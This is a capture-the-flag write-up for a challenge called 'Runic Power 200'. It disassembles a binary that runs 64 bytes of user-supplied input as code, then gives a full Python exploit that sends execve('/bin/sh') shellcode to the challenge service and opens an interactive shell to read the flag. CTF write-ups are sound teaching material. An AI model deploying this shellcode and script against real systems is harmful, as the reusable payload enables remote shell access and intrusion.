Hint:

Runic Power 200 — Even a tyro will crush this challenge at 10.0.66.71:6698

(solved by seaz, writeup by hbw)

For this challenge, we’re given a 32-bit Linux binary and a network service. Connecting to this service (e.g. via netcat) simply executes the binary on their server: anything we send over the connection is forwarded to the binary’s stdin, and anything the binary writes to stdout is relayed back to us. The binary itself has its symbols stripped, but by disassembling the binary, we can find the main function by examining the first argument passed to __libc_start_main. (These examples use the output from objdump -M intel-mnemonic -d runic_power-cb3db53a7ec552900f99dbe7c4b63561.)

{language=python}

8048397: 68 7d 84 04 08 push 0x804847d
804839c: e8 bf ff ff ff call 8048360 __libc_start_main@plt

Which gives us this:

{language=python}

804847d:   55                      push   ebp
804847e:   89 e5                   mov    ebp,esp
8048480:   83 e4 f0                and    esp,0xfffffff0
8048483:   83 ec 30                sub    esp,0x30
8048486:   c7 44 24 14 00 00 00    mov    DWORD PTR [esp+0x14],0x0
804848d:   00
804848e:   c7 44 24 10 ff ff ff    mov    DWORD PTR [esp+0x10],0xffffffff
8048495:   ff
8048496:   c7 44 24 0c 22 00 00    mov    DWORD PTR [esp+0xc],0x22
804849d:   00
804849e:   c7 44 24 08 07 00 00    mov    DWORD PTR [esp+0x8],0x7
80484a5:   00
80484a6:   c7 44 24 04 ff ff 00    mov    DWORD PTR [esp+0x4],0xffff
80484ad:   00
80484ae:   c7 04 24 00 00 00 00    mov    DWORD PTR [esp],0x0
80484b5:   e8 96 fe ff ff          call   8048350 <mmap@plt>
80484ba:   89 44 24 2c             mov    DWORD PTR [esp+0x2c],eax
80484be:   c7 44 24 08 ff ff 00    mov    DWORD PTR [esp+0x8],0xffff
80484c5:   00
80484c6:   c7 44 24 04 00 00 00    mov    DWORD PTR [esp+0x4],0x0
80484cd:   00
80484ce:   8b 44 24 2c             mov    eax,DWORD PTR [esp+0x2c]
80484d2:   89 04 24                mov    DWORD PTR [esp],eax
80484d5:   e8 96 fe ff ff          call   8048370 <memset@plt>
80484da:   c7 44 24 08 40 00 00    mov    DWORD PTR [esp+0x8],0x40
80484e1:   00
80484e2:   8b 44 24 2c             mov    eax,DWORD PTR [esp+0x2c]
80484e6:   89 44 24 04             mov    DWORD PTR [esp+0x4],eax
80484ea:   c7 04 24 00 00 00 00    mov    DWORD PTR [esp],0x0
80484f1:   e8 3a fe ff ff          call   8048330 <read@plt>
80484f6:   8b 44 24 2c             mov    eax,DWORD PTR [esp+0x2c]
80484fa:   ff d0                   call   eax
80484fc:   b8 00 00 00 00          mov    eax,0x0
8048501:   c9                      leave
8048502:   c3                      ret

This is a pretty straightforward function that does the following very nice things for us:

  • mmap’s a 64KB buffer with read, write, and execute permissions, and zeroes it out.

  • Reads 64 bytes of data from stdin into that buffer.

  • Makes a call into that buffer.

Or, in other words, it runs 64 bytes of shellcode that we supply. That’s plenty enough bytes for us to pop a shell on their server. Here is our final exploit script:

{language=python}

 1 #!/usr/env python2
 2 import socket
 3 from telnetlib import Telnet
 4 import time
 5 
 6 s = socket.socket()
 7 s.connect(("10.0.66.71", 6698))
 8 s.send("\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh")
 9 time.sleep(1)
10 
11 t = Telnet()
12 t.sock = s
13 t.interact()

After sending the exploit, we use Telnet.interact() to use our obtained shell via the console, which we use to cat the flag:

SRSLY_this_was_trivial_for_x86